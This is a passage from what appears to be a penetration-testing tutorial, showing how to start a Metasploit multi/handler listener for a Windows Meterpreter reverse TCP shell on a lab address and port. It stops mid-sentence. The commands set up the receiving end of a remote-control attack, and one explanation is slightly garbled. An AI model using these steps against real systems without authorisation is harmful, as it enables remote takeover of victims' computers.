First, we need to start our listener:
- Open Metasploit by typing msfconsole.
- Type use exploit/multi/handler.
- As stated before, we will be using meterpreter reverse_tcp payload. To set the payload, type the following:
set payload windows /meterpreter/reverse_tcp
This module doesn't have any settings that we can touch by default, so we need to add a payload. This tells the module what sort of reverse shell we're listening for; it'll help manage it for us:
- use exploit/multi/handler: handles the incoming connection
- set payload windows/meterpreter/reverse_tcp: reverses the TCP payload
- show options: shows the available options to set
- We also need to set up the LHOST and LPORT and make sure they're the same as the ones you set up in Step 3.
Then type Set lhost 192.168.10.50 Set lport 8080:
Set lhost 192.168.10.50 Set lport 8080
- Our handler is...